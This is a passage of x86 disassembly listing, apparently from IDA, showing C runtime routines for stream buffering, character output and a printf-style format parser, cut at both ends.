loc_4220CB: ; CODE XREF: sub_4220B2+29j
mov edx, [ecx+eax*4]
cmp edx, ebx
jz short loc_4220E4
test byte ptr [edx+0Ch], 83h
jz short loc_4220DF
inc eax
cmp eax, edi
jl short loc_4220CB
jmp short loc_42211E
; ---------------------------------------------------------------------------
loc_4220DF: ; CODE XREF: sub_4220B2+24j
mov esi, [ecx+eax*4]
jmp short loc_422108
; ---------------------------------------------------------------------------
loc_4220E4: ; CODE XREF: sub_4220B2+1Ej
mov edi, eax
push 20h
shl edi, 2
call sub_41E5D3
pop ecx
mov ecx, ds:dword_4E2F08
mov [edi+ecx], eax
mov eax, ds:dword_4E2F08
mov edi, [edi+eax]
cmp edi, ebx
jz short loc_42211E
mov esi, edi
loc_422108: ; CODE XREF: sub_4220B2+30j
cmp esi, ebx
jz short loc_42211E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebx
mov [esi+0Ch], ebx
mov [esi+8], ebx
mov [esi], ebx
mov [esi+1Ch], ebx
loc_42211E: ; CODE XREF: sub_4220B2+11j
; sub_4220B2+2Bj ...
pop edi
mov eax, esi
pop esi
pop ebx
retn
sub_4220B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422124 proc near ; CODE XREF: sub_41E650+49p
; sub_41E6A6+4Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
test al, 82h
mov ebx, [esi+10h]
jz loc_42222D
test al, 40h
jnz loc_42222D
test al, 1
jz short loc_42215D
and dword ptr [esi+4], 0
test al, 10h
jz loc_42222D
mov ecx, [esi+8]
and eax, 0FFFFFFFEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_42215D: ; CODE XREF: sub_422124+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and eax, 0FFFFFFEFh
or eax, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_422199
cmp esi, offset dword_443520
jz short loc_422187
cmp esi, offset dword_443540
jnz short loc_422192
loc_422187: ; CODE XREF: sub_422124+59j
push ebx
call sub_426D13
test eax, eax
pop ecx
jnz short loc_422199
loc_422192: ; CODE XREF: sub_422124+61j
push esi
call sub_4269FF
pop ecx
loc_422199: ; CODE XREF: sub_422124+51j
; sub_422124+6Cj
test word ptr [esi+0Ch], 108h
push edi
jz short loc_422203
mov eax, [esi+8]
mov edi, [esi]
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
sub edi, eax
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_4221C6
push edi
push eax
push ebx
call sub_425882
mov [ebp+arg_4], eax
jmp short loc_4221F6
; ---------------------------------------------------------------------------
loc_4221C6: ; CODE XREF: sub_422124+93j
cmp ebx, 0FFFFFFFFh
jz short loc_4221E1
mov eax, ebx
sar eax, 5
mov eax, ds:dword_4E2BA0[eax*4]
mov ecx, ebx
and ecx, 1Fh
lea eax, [eax+ecx*8]
jmp short loc_4221E6
; ---------------------------------------------------------------------------
loc_4221E1: ; CODE XREF: sub_422124+A5j
mov eax, offset dword_443A40
loc_4221E6: ; CODE XREF: sub_422124+BBj
test byte ptr [eax+4], 20h
jz short loc_4221F9
push 2
push 0
push ebx
call sub_42569D
loc_4221F6: ; CODE XREF: sub_422124+A0j
add esp, 0Ch
loc_4221F9: ; CODE XREF: sub_422124+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_422217
; ---------------------------------------------------------------------------
loc_422203: ; CODE XREF: sub_422124+7Cj
xor edi, edi
inc edi
push edi
lea eax, [ebp+arg_0]
push eax
push ebx
call sub_425882
add esp, 0Ch
mov [ebp+arg_4], eax
loc_422217: ; CODE XREF: sub_422124+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_422223
or dword ptr [esi+0Ch], 20h
jmp short loc_422233
; ---------------------------------------------------------------------------
loc_422223: ; CODE XREF: sub_422124+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_422236
; ---------------------------------------------------------------------------
loc_42222D: ; CODE XREF: sub_422124+10j
; sub_422124+18j ...
or eax, 20h
mov [esi+0Ch], eax
loc_422233: ; CODE XREF: sub_422124+FDj
or eax, 0FFFFFFFFh
loc_422236: ; CODE XREF: sub_422124+107j
pop esi
pop ebx
pop ebp
retn
sub_422124 endp
; =============== S U B R O U T I N E =======================================
sub_42223A proc near ; CODE XREF: sub_42226D+11p
; sub_422291+22p ...
test byte ptr [ecx+0Ch], 40h
jz short loc_422246
cmp dword ptr [ecx+8], 0
jz short loc_42226A
loc_422246: ; CODE XREF: sub_42223A+4j
dec dword ptr [ecx+4]
js short loc_422256
mov edx, [ecx]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_422262
; ---------------------------------------------------------------------------
loc_422256: ; CODE XREF: sub_42223A+Fj
movsx eax, al
push ecx
push eax
call sub_422124
pop ecx
pop ecx
loc_422262: ; CODE XREF: sub_42223A+1Aj
cmp eax, 0FFFFFFFFh
jnz short loc_42226A
or [esi], eax
retn
; ---------------------------------------------------------------------------
loc_42226A: ; CODE XREF: sub_42223A+Aj
; sub_42223A+2Bj
inc dword ptr [esi]
retn
sub_42223A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42226D proc near ; CODE XREF: sub_4222C8+6EFp
; sub_4222C8+71Dp ...
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, eax
jmp short loc_422288
; ---------------------------------------------------------------------------
loc_422275: ; CODE XREF: sub_42226D+1Fj
mov ecx, [ebp+arg_8]
mov al, [ebp+arg_0]
dec [ebp+arg_4]
call sub_42223A
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_42228E
loc_422288: ; CODE XREF: sub_42226D+6j
cmp [ebp+arg_4], 0
jg short loc_422275
loc_42228E: ; CODE XREF: sub_42226D+19j
pop esi
pop ebp
retn
sub_42226D endp
; =============== S U B R O U T I N E =======================================
sub_422291 proc near ; CODE XREF: sub_4222C8+706p
; sub_4222C8+767p ...
arg_0 = dword ptr 4
test byte ptr [edi+0Ch], 40h
push ebx
push esi
mov esi, eax
mov ebx, ecx
jz short loc_4222BE
cmp dword ptr [edi+8], 0
jnz short loc_4222BE
mov eax, [esp+8+arg_0]
add [esi], eax
jmp short loc_4222C5
; ---------------------------------------------------------------------------
loc_4222AB: ; CODE XREF: sub_422291+32j
mov al, [ebx]
dec [esp+8+arg_0]
mov ecx, edi
call sub_42223A
inc ebx
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4222C5
loc_4222BE: ; CODE XREF: sub_422291+Aj
; sub_422291+10j
cmp [esp+8+arg_0], 0
jg short loc_4222AB
loc_4222C5: ; CODE XREF: sub_422291+18j
; sub_422291+2Bj
pop esi
pop ebx
retn
sub_422291 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=1D4h
sub_4222C8 proc near ; CODE XREF: sub_41E650+28p
; sub_41E6A6+2Ap ...
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_248 = dword ptr -248h
var_244 = dword ptr -244h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = byte ptr -224h
var_223 = byte ptr -223h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = byte ptr -20Ch
var_D = byte ptr -0Dh
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-1D4h]
sub esp, 254h
mov eax, ds:dword_4437D4
mov [ebp+1D4h+var_4], eax
xor eax, eax
mov [ebp+1D4h+var_21C], eax
mov [ebp+1D4h+var_220], eax
mov [ebp+1D4h+var_234], eax
mov eax, [ebp+1D4h+arg_4]
push ebx
mov bl, [eax]
xor ecx, ecx
test bl, bl
jz loc_422A8B
push esi
push edi
mov edi, eax
jmp short loc_422308
; ---------------------------------------------------------------------------
loc_422305: ; CODE XREF: sub_4222C8+7BBj
mov ecx, [ebp+1D4h+var_244]
loc_422308: ; CODE XREF: sub_4222C8+3Bj
inc edi
cmp [ebp+1D4h+var_220], 0
mov [ebp+1D4h+arg_4], edi
jl loc_422A89
cmp bl, 20h
jl short loc_422332
cmp bl, 78h
jg short loc_422332
movsx eax, bl
movsx eax, ds:byte_4394B8[eax]
and eax, 0Fh
jmp short loc_422334
; ---------------------------------------------------------------------------
loc_422332: ; CODE XREF: sub_4222C8+54j
; sub_4222C8+59j
xor eax, eax
loc_422334: ; CODE XREF: sub_4222C8+68j
movsx eax, ds:byte_4394D8[ecx+eax*8]
push 7
sar eax, 4
pop ecx
cmp eax, ecx ; switch 8 cases
mov [ebp+1D4h+var_244], eax
ja loc_422A79 ; default
jmp off_422AA2[eax*4] ; switch jump
loc_422354: ; DATA XREF: seg000:off_422AA2o
xor eax, eax ; jumptable 0042234D case 1
or [ebp+1D4h+var_214], 0FFFFFFFFh
mov [ebp+1D4h+var_240], eax
mov [ebp+1D4h+var_238], eax
mov [ebp+1D4h+var_22C], eax
mov [ebp+1D4h+var_228], eax
mov [ebp+1D4h+var_210], eax
mov [ebp+1D4h+var_230], eax
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422371: ; CODE XREF: sub_4222C8+85j
; DATA XREF: seg000:off_422AA2o
movsx eax, bl ; jumptable 0042234D case 2
sub eax, 20h
jz short loc_4223B4
sub eax, 3
jz short loc_4223AB
sub eax, 8
jz short loc_4223A2
dec eax
dec eax
jz short loc_422399
sub eax, 3
jnz loc_422A79 ; default
or [ebp+1D4h+var_210], 8
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422399: ; CODE XREF: sub_4222C8+BDj
or [ebp+1D4h+var_210], 4
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_4223A2: ; CODE XREF: sub_4222C8+B9j
or [ebp+1D4h+var_210], 1
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_4223AB: ; CODE XREF: sub_4222C8+B4j
or byte ptr [ebp+1D4h+var_210], 80h
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_4223B4: ; CODE XREF: sub_4222C8+AFj
or [ebp+1D4h+var_210], 2
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_4223BD: ; CODE XREF: sub_4222C8+85j
; DATA XREF: seg000:off_422AA2o
cmp bl, 2Ah ; jumptable 0042234D case 3
jnz short loc_4223E9
add [ebp+1D4h+arg_8], 4
mov eax, [ebp+1D4h+arg_8]
mov eax, [eax-4]
test eax, eax
mov [ebp+1D4h+var_22C], eax
jge loc_422A79 ; default
or [ebp+1D4h+var_210], 4
neg [ebp+1D4h+var_22C]
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_4223E9: ; CODE XREF: sub_4222C8+F8j
mov eax, [ebp+1D4h+var_22C]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
mov [ebp+1D4h+var_22C], eax
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_4223FE: ; CODE XREF: sub_4222C8+85j
; DATA XREF: seg000:off_422AA2o
and [ebp+1D4h+var_214], 0 ; jumptable 0042234D case 4
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422407: ; CODE XREF: sub_4222C8+85j
; DATA XREF: seg000:off_422AA2o
cmp bl, 2Ah ; jumptable 0042234D case 5
jnz short loc_422430
add [ebp+1D4h+arg_8], 4
mov eax, [ebp+1D4h+arg_8]
mov eax, [eax-4]
test eax, eax
mov [ebp+1D4h+var_214], eax
jge loc_422A79 ; default
or [ebp+1D4h+var_214], 0FFFFFFFFh
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422430: ; CODE XREF: sub_4222C8+142j
mov eax, [ebp+1D4h+var_214]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
mov [ebp+1D4h+var_214], eax
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422445: ; CODE XREF: sub_4222C8+85j
; DATA XREF: seg000:off_422AA2o
cmp bl, 49h ; jumptable 0042234D case 6
jz short loc_422478
cmp bl, 68h
jz short loc_42246F
cmp bl, 6Ch
jz short loc_422466
cmp bl, 77h
jnz loc_422A79 ; default
or byte ptr [ebp+1D4h+var_210+1], 8
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422466: ; CODE XREF: sub_4222C8+18Aj
or [ebp+1D4h+var_210], 10h
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_42246F: ; CODE XREF: sub_4222C8+185j
or [ebp+1D4h+var_210], 20h
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422478: ; CODE XREF: sub_4222C8+180j
mov al, [edi]
cmp al, 36h
jnz short loc_422495
cmp byte ptr [edi+1], 34h
jnz short loc_422495
inc edi
inc edi
or byte ptr [ebp+1D4h+var_210+1], 80h
mov [ebp+1D4h+arg_4], edi
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422495: ; CODE XREF: sub_4222C8+1B4j
; sub_4222C8+1BAj
cmp al, 33h
jnz short loc_4224B0
cmp byte ptr [edi+1], 32h
jnz short loc_4224B0
inc edi
inc edi
and byte ptr [ebp+1D4h+var_210+1], 7Fh
mov [ebp+1D4h+arg_4], edi
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_4224B0: ; CODE XREF: sub_4222C8+1CFj
; sub_4222C8+1D5j
cmp al, 64h
jz loc_422A79 ; default
cmp al, 69h
jz loc_422A79 ; default
cmp al, 6Fh
jz loc_422A79 ; default
cmp al, 75h
jz loc_422A79 ; default
cmp al, 78h
jz loc_422A79 ; default
cmp al, 58h
jz loc_422A79 ; default
and [ebp+1D4h+var_244], 0
loc_4224E4: ; CODE XREF: sub_4222C8+85j
; DATA XREF: seg000:off_422AA2o
mov ecx, ds:off_4437D8 ; jumptable 0042234D case 0
and [ebp+1D4h+var_230], 0
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_422511
mov ecx, [ebp+1D4h+arg_0]
lea esi, [ebp+1D4h+var_220]
mov al, bl
call sub_42223A
mov bl, [edi]
inc edi
mov [ebp+1D4h+arg_4], edi
loc_422511: ; CODE XREF: sub_4222C8+22Ej
mov ecx, [ebp+1D4h+arg_0]
lea esi, [ebp+1D4h+var_220]
mov al, bl
call sub_42223A
jmp loc_422A79 ; default
; ---------------------------------------------------------------------------
loc_422526: ; CODE XREF: sub_4222C8+85j
; DATA XREF: seg000:off_422AA2o
movsx eax, bl ; jumptable 0042234D case 7
cmp eax, 67h
jg loc_42278A
cmp eax, 65h
jge loc_4225C1
cmp eax, 58h
jg loc_422622
jz loc_42280B
sub eax, 43h
jz loc_4225E1
dec eax
dec eax
jz short loc_4225B7
dec eax
dec eax
jz short loc_4225B7
sub eax, 0Ch
jnz loc_422965
test word ptr [ebp+1D4h+var_210], 830h
jnz short loc_422570
or byte ptr [ebp+1D4h+var_210+1], 8
loc_422570: ; CODE XREF: sub_4222C8+2A2j
; sub_4222C8+4E1j
mov ecx, [ebp+1D4h+var_214]
cmp ecx, 0FFFFFFFFh
jnz short loc_42257D
mov ecx, 7FFFFFFFh
loc_42257D: ; CODE XREF: sub_4222C8+2AEj
add [ebp+1D4h+arg_8], 4
test word ptr [ebp+1D4h+var_210], 810h
mov eax, [ebp+1D4h+arg_8]
mov eax, [eax-4]
mov [ebp+1D4h+var_218], eax
jz loc_4227E0
test eax, eax
jnz short loc_4225A8
mov eax, ds:off_4437D0
mov [ebp+1D4h+var_218], eax
loc_4225A8: ; CODE XREF: sub_4222C8+2D6j
mov eax, [ebp+1D4h+var_218]
mov [ebp+1D4h+var_230], 1
jmp loc_4227D2
; ---------------------------------------------------------------------------
loc_4225B7: ; CODE XREF: sub_4222C8+28Dj
; sub_4222C8+291j
mov [ebp+1D4h+var_240], 1
add bl, 20h
loc_4225C1: ; CODE XREF: sub_4222C8+26Dj
or [ebp+1D4h+var_210], 40h
cmp [ebp+1D4h+var_214], 0
lea esi, [ebp+1D4h+var_20C]
mov [ebp+1D4h+var_218], esi
jge loc_4226CE
mov [ebp+1D4h+var_214], 6
jmp loc_422715
; ---------------------------------------------------------------------------
loc_4225E1: ; CODE XREF: sub_4222C8+285j
test word ptr [ebp+1D4h+var_210], 830h
jnz short loc_4225ED
or byte ptr [ebp+1D4h+var_210+1], 8
loc_4225ED: ; CODE XREF: sub_4222C8+31Fj
; sub_4222C8+362j
add [ebp+1D4h+arg_8], 4
test word ptr [ebp+1D4h+var_210], 810h
mov eax, [ebp+1D4h+arg_8]
jz short loc_422667
movsx eax, word ptr [eax-4]
push eax
lea eax, [ebp+1D4h+var_20C]
push eax
call sub_426D3A
test eax, eax
pop ecx
pop ecx
mov [ebp+1D4h+var_21C], eax
jge short loc_422674
mov [ebp+1D4h+var_238], 1
jmp short loc_422674
; ---------------------------------------------------------------------------
loc_422622: ; CODE XREF: sub_4222C8+276j
sub eax, 5Ah
jz short loc_42267F
sub eax, 9
jz short loc_4225ED
dec eax
jnz loc_422965
loc_422633: ; CODE XREF: sub_4222C8+4C5j
or [ebp+1D4h+var_210], 40h
loc_422637: ; CODE XREF: sub_4222C8+4E9j
mov [ebp+1D4h+var_21C], 0Ah
loc_42263E: ; CODE XREF: sub_4222C8+551j
; sub_4222C8+56Aj ...
mov ebx, [ebp+1D4h+var_210]
mov esi, 8000h
test ebx, esi
jz loc_422881
mov ecx, [ebp+1D4h+arg_8]
mov eax, [ecx]
mov edx, [ecx+4]
add ecx, 8
mov [ebp+1D4h+arg_8], ecx
jmp loc_4228AF
; ---------------------------------------------------------------------------
loc_422667: ; CODE XREF: sub_4222C8+338j
mov al, [eax-4]
mov [ebp+1D4h+var_20C], al
mov [ebp+1D4h+var_21C], 1
loc_422674: ; CODE XREF: sub_4222C8+34Fj
; sub_4222C8+358j
lea eax, [ebp+1D4h+var_20C]
mov [ebp+1D4h+var_218], eax
jmp loc_422965
; ---------------------------------------------------------------------------
loc_42267F: ; CODE XREF: sub_4222C8+35Dj
add [ebp+1D4h+arg_8], 4
mov eax, [ebp+1D4h+arg_8]
mov eax, [eax-4]
test eax, eax
jz short loc_4226C0
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4226C0
test byte ptr [ebp+1D4h+var_210+1], 8
movsx eax, word ptr [eax]
mov [ebp+1D4h+var_218], ecx
jz short loc_4226B7
cdq
sub eax, edx
sar eax, 1
mov [ebp+1D4h+var_230], 1
jmp loc_422962
; ---------------------------------------------------------------------------
loc_4226B7: ; CODE XREF: sub_4222C8+3DCj
and [ebp+1D4h+var_230], 0
jmp loc_422962
; ---------------------------------------------------------------------------
loc_4226C0: ; CODE XREF: sub_4222C8+3C9j
; sub_4222C8+3D0j
mov eax, ds:off_4437CC
mov [ebp+1D4h+var_218], eax
push eax
jmp loc_42277F
; ---------------------------------------------------------------------------
loc_4226CE: ; CODE XREF: sub_4222C8+307j
jnz short loc_4226DE
cmp bl, 67h
jnz short loc_422715
mov [ebp+1D4h+var_214], 1
jmp short loc_422715
; ---------------------------------------------------------------------------
loc_4226DE: ; CODE XREF: sub_4222C8:loc_4226CEj
mov eax, 200h
cmp [ebp+1D4h+var_214], eax
jle short loc_4226EB
mov [ebp+1D4h+var_214], eax
loc_4226EB: ; CODE XREF: sub_4222C8+41Ej
mov edi, 0A3h
cmp [ebp+1D4h+var_214], edi
jle short loc_422715
mov eax, [ebp+1D4h+var_214]
add eax, 15Dh
push eax
call sub_41E5D3
test eax, eax
pop ecx
mov [ebp+1D4h+var_234], eax
jz short loc_422712
mov [ebp+1D4h+var_218], eax
mov esi, eax
jmp short loc_422715
; ---------------------------------------------------------------------------
loc_422712: ; CODE XREF: sub_4222C8+441j
mov [ebp+1D4h+var_214], edi
loc_422715: ; CODE XREF: sub_4222C8+314j
; sub_4222C8+40Bj ...
mov eax, [ebp+1D4h+arg_8]
mov ecx, [eax]
push [ebp+1D4h+var_240]
add eax, 8
push [ebp+1D4h+var_214]
mov [ebp+1D4h+arg_8], eax
mov eax, [eax-4]
mov [ebp+1D4h+var_250], eax
movsx eax, bl
push eax
lea eax, [ebp+1D4h+var_254]
push esi
push eax
mov [ebp+1D4h+var_254], ecx
call ds:off_443A50
mov edi, [ebp+1D4h+var_210]
add esp, 14h
and edi, 80h
jz short loc_422760
cmp [ebp+1D4h+var_214], 0
jnz short loc_422760
push esi
call ds:off_443A5C
pop ecx
loc_422760: ; CODE XREF: sub_4222C8+488j
; sub_4222C8+48Ej
cmp bl, 67h
jnz short loc_422771
test edi, edi
jnz short loc_422771
push esi
call ds:off_443A54
pop ecx
loc_422771: ; CODE XREF: sub_4222C8+49Bj
; sub_4222C8+49Fj
cmp byte ptr [esi], 2Dh
jnz short loc_42277E
or byte ptr [ebp+1D4h+var_210+1], 1
inc esi
mov [ebp+1D4h+var_218], esi
loc_42277E: ; CODE XREF: sub_4222C8+4ACj
push esi
loc_42277F: ; CODE XREF: sub_4222C8+401j
call sub_41E1C0
pop ecx
jmp loc_422962
; ---------------------------------------------------------------------------
loc_42278A: ; CODE XREF: sub_4222C8+264j
sub eax, 69h
jz loc_422633
sub eax, 5
jz loc_422851
dec eax
jz loc_422837
dec eax
jz short loc_422804
sub eax, 3
jz loc_422570
dec eax
dec eax
jz loc_422637
sub eax, 3
jnz loc_422965
mov [ebp+1D4h+var_23C], 27h
jmp short loc_42280E
; ---------------------------------------------------------------------------
loc_4227C9: ; CODE XREF: sub_4222C8+50Cj
dec ecx
cmp word ptr [eax], 0
jz short loc_4227D6
inc eax
inc eax
loc_4227D2: ; CODE XREF: sub_4222C8+2EAj
test ecx, ecx
jnz short loc_4227C9
loc_4227D6: ; CODE XREF: sub_4222C8+506j
sub eax, [ebp+1D4h+var_218]
sar eax, 1
jmp loc_422962
; ---------------------------------------------------------------------------
loc_4227E0: ; CODE XREF: sub_4222C8+2CEj
test eax, eax
jnz short loc_4227EC
mov eax, ds:off_4437CC
mov [ebp+1D4h+var_218], eax
loc_4227EC: ; CODE XREF: sub_4222C8+51Aj
mov eax, [ebp+1D4h+var_218]
jmp short loc_4227F8
; ---------------------------------------------------------------------------
loc_4227F1: ; CODE XREF: sub_4222C8+532j
dec ecx
cmp byte ptr [eax], 0
jz short loc_4227FC
inc eax
loc_4227F8: ; CODE XREF: sub_4222C8+527j
test ecx, ecx
jnz short loc_4227F1
loc_4227FC: ; CODE XREF: sub_4222C8+52Dj
sub eax, [ebp+1D4h+var_218]
jmp loc_422962
; ---------------------------------------------------------------------------
loc_422804: ; CODE XREF: sub_4222C8+4DCj
mov [ebp+1D4h+var_214], 8
loc_42280B: ; CODE XREF: sub_4222C8+27Cj
mov [ebp+1D4h+var_23C], ecx
loc_42280E: ; CODE XREF: sub_4222C8+4FFj
test byte ptr [ebp+1D4h+var_210], 80h
mov [ebp+1D4h+var_21C], 10h
jz loc_42263E
mov al, byte ptr [ebp+1D4h+var_23C]
add al, 51h
mov [ebp+1D4h+var_224], 30h
mov [ebp+1D4h+var_223], al
mov [ebp+1D4h+var_228], 2
jmp loc_42263E
; ---------------------------------------------------------------------------
loc_422837: ; CODE XREF: sub_4222C8+4D5j
test byte ptr [ebp+1D4h+var_210], 80h
mov [ebp+1D4h+var_21C], 8
jz loc_42263E
or byte ptr [ebp+1D4h+var_210+1], 2
jmp loc_42263E
; ---------------------------------------------------------------------------
loc_422851: ; CODE XREF: sub_4222C8+4CEj
add [ebp+1D4h+arg_8], 4
test byte ptr [ebp+1D4h+var_210], 20h
mov eax, [ebp+1D4h+arg_8]
mov eax, [eax-4]
jz short loc_422870
mov cx, word ptr [ebp+1D4h+var_220]
mov [eax], cx
jmp short loc_422875
; ---------------------------------------------------------------------------
loc_422870: ; CODE XREF: sub_4222C8+59Dj
mov ecx, [ebp+1D4h+var_220]
mov [eax], ecx
loc_422875: ; CODE XREF: sub_4222C8+5A6j
mov [ebp+1D4h+var_238], 1
jmp loc_422A66
; ---------------------------------------------------------------------------
loc_422881: ; CODE XREF: sub_4222C8+380j
add [ebp+1D4h+arg_8], 4
test bl, 20h
mov eax, [ebp+1D4h+arg_8]
jz short loc_4228A5
test bl, 40h
jz short loc_42289F
movsx eax, word ptr [eax-4]
loc_42289C: ; CODE XREF: sub_4222C8+5DBj
; sub_4222C8+5E3j
cdq
jmp short loc_4228AF
; ---------------------------------------------------------------------------
loc_42289F: ; CODE XREF: sub_4222C8+5CEj
movzx eax, word ptr [eax-4]
jmp short loc_42289C
; ---------------------------------------------------------------------------
loc_4228A5: ; CODE XREF: sub_4222C8+5C9j
test bl, 40h
mov eax, [eax-4]
jnz short loc_42289C
xor edx, edx
loc_4228AF: ; CODE XREF: sub_4222C8+39Aj
; sub_4222C8+5D5j
test bl, 40h
jz short loc_4228C9
test edx, edx
jg short loc_4228C9
jl short loc_4228BE
test eax, eax
jnb short loc_4228C9
loc_4228BE: ; CODE XREF: sub_4222C8+5F0j
neg eax
adc edx, 0
neg edx
or byte ptr [ebp+1D4h+var_210+1], 1
loc_4228C9: ; CODE XREF: sub_4222C8+5EAj
; sub_4222C8+5EEj ...
test [ebp+1D4h+var_210], esi
mov ebx, eax
mov edi, edx
jnz short loc_4228D4
xor edi, edi
loc_4228D4: ; CODE XREF: sub_4222C8+608j
cmp [ebp+1D4h+var_214], 0
jge short loc_4228E3
mov [ebp+1D4h+var_214], 1
jmp short loc_4228F4
; ---------------------------------------------------------------------------
loc_4228E3: ; CODE XREF: sub_4222C8+610j
and [ebp+1D4h+var_210], 0FFFFFFF7h
mov eax, 200h
cmp [ebp+1D4h+var_214], eax
jle short loc_4228F4
mov [ebp+1D4h+var_214], eax
loc_4228F4: ; CODE XREF: sub_4222C8+619j
; sub_4222C8+627j
mov eax, ebx
or eax, edi
jnz short loc_4228FE
and [ebp+1D4h+var_228], 0
loc_4228FE: ; CODE XREF: sub_4222C8+630j
lea esi, [ebp+1D4h+var_D]
loc_422904: ; CODE XREF: sub_4222C8+66Ej
mov eax, [ebp+1D4h+var_214]
dec [ebp+1D4h+var_214]
test eax, eax
jg short loc_422914
mov eax, ebx
or eax, edi
jz short loc_422938
loc_422914: ; CODE XREF: sub_4222C8+644j
mov eax, [ebp+1D4h+var_21C]
cdq
push edx
push eax
push edi
push ebx
call sub_420890
add ecx, 30h
cmp ecx, 39h
mov [ebp+1D4h+var_248], ebx
mov ebx, eax
mov edi, edx
jle short loc_422933
add ecx, [ebp+1D4h+var_23C]
loc_422933: ; CODE XREF: sub_4222C8+666j
mov [esi], cl
dec esi
jmp short loc_422904
; ---------------------------------------------------------------------------
loc_422938: ; CODE XREF: sub_4222C8+64Aj
lea eax, [ebp+1D4h+var_D]
sub eax, esi
inc esi
test byte ptr [ebp+1D4h+var_210+1], 2
mov [ebp+1D4h+var_21C], eax
mov [ebp+1D4h+var_218], esi
jz short loc_422965
mov ecx, esi
cmp byte ptr [ecx], 30h
jnz short loc_422958
test eax, eax
jnz short loc_422965
loc_422958: ; CODE XREF: sub_4222C8+68Aj
dec [ebp+1D4h+var_218]
mov ecx, [ebp+1D4h+var_218]
mov byte ptr [ecx], 30h
inc eax
loc_422962: ; CODE XREF: sub_4222C8+3EAj
; sub_4222C8+3F3j ...
mov [ebp+1D4h+var_21C], eax
loc_422965: ; CODE XREF: sub_4222C8+296j
; sub_4222C8+365j ...
cmp [ebp+1D4h+var_238], 0
jnz loc_422A66
mov ebx, [ebp+1D4h+var_210]
test bl, 40h
jz short loc_42299D
test bh, 1
jz short loc_422982
mov [ebp+1D4h+var_224], 2Dh
jmp short loc_422996
; ---------------------------------------------------------------------------
loc_422982: ; CODE XREF: sub_4222C8+6B2j
test bl, 1
jz short loc_42298D
mov [ebp+1D4h+var_224], 2Bh
jmp short loc_422996
; ---------------------------------------------------------------------------
loc_42298D: ; CODE XREF: sub_4222C8+6BDj
test bl, 2
jz short loc_42299D
mov [ebp+1D4h+var_224], 20h
loc_422996: ; CODE XREF: sub_4222C8+6B8j
; sub_4222C8+6C3j
mov [ebp+1D4h+var_228], 1
loc_42299D: ; CODE XREF: sub_4222C8+6ADj
; sub_4222C8+6C8j
mov esi, [ebp+1D4h+var_22C]
sub esi, [ebp+1D4h+var_228]
sub esi, [ebp+1D4h+var_21C]
test bl, 0Ch
jnz short loc_4229BF
push [ebp+1D4h+arg_0]
lea eax, [ebp+1D4h+var_220]
push esi
push 20h
call sub_42226D
add esp, 0Ch
loc_4229BF: ; CODE XREF: sub_4222C8+6E1j
push [ebp+1D4h+var_228]
mov edi, [ebp+1D4h+arg_0]
lea eax, [ebp+1D4h+var_220]
lea ecx, [ebp+1D4h+var_224]
call sub_422291
test bl, 8
pop ecx
jz short loc_4229ED
test bl, 4
jnz short loc_4229ED
push edi
push esi
push 30h
lea eax, [ebp+1D4h+var_220]
call sub_42226D
add esp, 0Ch
loc_4229ED: ; CODE XREF: sub_4222C8+70Fj
; sub_4222C8+714j
cmp [ebp+1D4h+var_230], 0
jz short loc_422A3D
cmp [ebp+1D4h+var_21C], 0
jle short loc_422A3D
mov eax, [ebp+1D4h+var_21C]
mov ebx, [ebp+1D4h+var_218]
mov [ebp+1D4h+var_248], eax
loc_422A02: ; CODE XREF: sub_4222C8+771j
dec [ebp+1D4h+var_248]
xor eax, eax
mov ax, [ebx]
push eax
